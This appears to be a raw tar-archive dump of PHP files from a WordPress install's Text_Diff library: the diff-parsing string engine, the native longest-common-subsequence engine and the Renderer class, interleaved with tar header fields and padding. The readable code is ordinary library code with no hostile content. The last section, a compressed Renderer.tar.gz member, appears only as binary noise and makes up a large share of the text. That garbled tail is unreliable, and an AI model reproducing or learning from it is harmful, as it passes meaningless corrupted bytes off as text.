 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     native.php                                                                                          0000644                 00000037261 15212004202 0006540 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Renderer.php.tar                                                                                    0000644                 00000021000 15212004206 0007571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer.php                                        0000644                 00000015226 15212004206 0020130 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer.tar.gz                                                                                     0000644                 00000312141 15212004206 0007433 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	`SE8C*"˥Ґ4{t4MtI$MRYn6M4ITPDQQPAQEpA[WpCQAEq]A\of}<49s̙3g̜9uxg~#LX* "@"H@P 	0?LGOg#/ixS5൝#ޟy\D}I@tɟz>w4,@|~]nmz75LJ:˪1oޖq9e#nyHzam9s藻_GNi-,3֯?𥋦2>0yך;oۊ/"`!7]gO~oMu-JuOϛ_NcğM7>7{
n0=>}HWqސu7|PXD5awL̿{܍m'ޒeޮ{v<bQOxU#Vxw{:d5.aIƾev͸D3xK9O~S:ȵ_4۵9h6]7g+7έ<tO-~'.Ri{W0Æ_{Q>TIvt2}{w߹s?zprTA%^c+yҊ/fosEfy3yy?|oYm"nez\c~l׵~*?-34sZ,pNCɌ#)yB=g89+oy2rG^ڋE<mCOlXr]0s鳗K1Y?g-(?%dUݦu=`3X..{{q:=uGb/4.,)e/m{-kKv<+!OQˋ~8ɵ;!ӴseSow. ⻌Q|vb_6{-h̨-GF]۪Y~9'ĭWysNּO^ݵ٧GWJ֞qK>?miqYۻ__~'U3@z+>+v?r;>i{W}vmQlO=6#rVϟEk}xM
onW'N|Q'MU-E_;59k+n{roсAN	[~nOݛ.HL7}7g=#}*̿JoiHڄUֿ!lW%ܜqn+"/DNɣw'4}|kPy%^X{MktŁكrŏ.ͱu/slyDݫS_<<ࡉU_uo[z-C-ЇҾ̫PŊe;O87|߼qG#to=\w_.x`[MV<:.6^6.?v{m	*ݒjy}K~?D+f')\qm{N+6\j	m+FxhQxӱ%s5mo#?b9%pn*y{Dm/q_}<gvW[0nG5/ٱk0[2SSrƩ?uxͷ3g[pk#.fզ?5}6gi_ΞoQY-:qdm+Or7T8]-87U^!w{_KG&d3[^Y~i=91o^3VOt"Z$LkM䕪lU7-_k'~gUd掣+F*f?'_^:ŅS޸[3W2˪_y}㓃q\rC}<Y.xQn4UraW?uN~o*8<~}t9У'jtU2Տc?\A4
W~5?\QfK{ul{ݕx߮>~zZgVpf#[Y]7jTl,Z|ӊ'/O_iߜ
ӫ\vkܗ.;\<ç>#/]qKr?>7eWnYвsSܚFv}N7?ud<\QAh&}}_+s҇>yGo</'=/ݿe_>lWpZfy66=Sm<p磌mC;93=@s9/~rdN94yߗ/{[|k-!׭pj,XB܀MP_n붗0UmGFmmXz캁c_<♻؎_wLrea2/NuF裌Z;pCڏ;1yG7}uԫnū~{΂QS-Z_煯xM:GzQ;gخZ->wkwEFߗ~{~}k74,Hw7m]}بUSEEϾKM{iL&o;n8-o)"m*OFoN^uKOZZks,y'&=a%vO8mc=7\9/˾4MkΤyiͭ!/|C~ծndˡ6 xglX&81e+Wd˙8]^g>'kmyE	~yϣLn;be?o=pu*˹c[2$y2W>nWdd\O,Z>_0GB>S'zz7^.bMfJYNTv{K-+|s<歷?Nf4#uJ%^
3UoZMM%=S؋N_9ЛW?{~3wڝOߚVw8/!XZ0tg^dOc?*9yC&{=Lm'm?57;%==2yљml4g[x׽;whţӾЦ?{5l:uQu毓~K\xW	ǟsCMz8zaͽz39OeQy]VsD,>u߻<xhw.w+?~T<Gs^؛?EDOGs쳻Wz\R8SzpKE^Sy`֜ΏoڜU[nzZnR5»owml4J{wd_JOzUUxpbYQz3ֱM;]6ep
׷_d&ʓי~i8'x5ori?Qm+j>|u?=,7_nW2Q}G/쯹wMHâ~6ᰱ/]|tKU?Z]}sjUW9">?ݢ_4Ps|v-{[ytu\4^|Zrnq.qg_o~]l8o+%7]}\Г\`~o^l;ĂOXx:E'޿-~G>8~P8_;`ޮ+84噁̾<z׃[-_+Pyy9Kҩn<ss/[p璇2;jȺA߿ۊn4x<o{~{a:m9V᏿|7QvsHpa|Omj3ٺ&[>O ~3c6?{CizHC/q)|/zv3/~T+?o+]D?!Z{C.k9°!O,s;)+3nP8]{u;~nxl町w):GߠSk߿jmG:81˟mfѬ?QvLr@sm(Y+O9ߌ:qksK.hK?{_&w]VX2hEʐʉ7x巋F:t#썋:<[k[yɟ5GxrZ##Ot<~aiP}/	6˭OK<n[_y;ԅOM3~^W>t1x«y_,r3k?^:uU]zW5m8Od?hy{ֳOګou|?OSir᷻.o4y{R0kqc_>?]k|5wc[+oh%[/uƓyݵS~qFY/~4aF;wBq7,П|Q<vj*BQz?d+qbh7W߳g'w4~ߘ5o|U:0Oss^Et{:d]ݒ^ik9k~vට7I[2s틥|__ohd%W~Mn|a;tܿ;/8}S¹l=-gwIv2hVuOݤ{hʋL?歊-xɢ{^Wd՝\=CvVP
~g؊FnmxRWK|vG?6rx;==ct>cu۽.}?8| swMWndhCWYu?~~p8vWJ{E?\5^皜G>\}sg#闬4:/P=</[z\	xz<{tg:ϯ˹>K-Mİ妖SHZ^uum7>/xwƍiњ^}d~!yV>^#]]sÝW*Js|Rsд;n]'|>konb4[sco]#6go[ݓ>]6ܦn=~uOM?{!b5xm1޽{\BӠo>l%k^x|~^_#o~jYS?_.̘9-XHʮsM/PHͫi/{S&w?{{{޷>XR[z'n<82lXyo_r16ֱ2ǣ'ױ{vWͻ_:ykǂc_}ӆŪ=Gs#Vx:={=?_Ԣa맄g|<7\>}Tc_WfOYM\hB7n4mo1gxHw˿ظV}Bz˗V.\2{քs˧NK5*Wbp\[9%
}=\~wh<{vM޲ت^v|aַgQŚC<F]$H.w>Yfo:tݏ^do]{خkNm=x0L}tb߆<<XM\]窖7W\6w?$|z'=7h7<}̀FÓy?niWբ]t,G-,~_/\r3/|FЗYGִ[>Ͼ^x榿v>:VqsO{#kjlJ}~rȱͿ9ɣ?ӿ^_zH~˺^^/=YhJo
^B\R~5klGr;'wzfAcOw^~]W:jΛrj.2|`<u{MǆON{(|;D7x/_<#imɗї3O\-|5'Nt᯷g<Gw/ݺt溏&LH9y֏~5ugRKOo~??V:B嬡}LKK<gdt{4xsO=vٹ_}{oa͍ؑRs/Ѽv{k%[_}uǃ~d~۷x__>p%|gũ?`+7Df=ٌ{y\o^ռrO?jȦ9=AvaYlFvͳ2>mbI}<^M9Μo|=֛6/ױ_<rdИloZopa
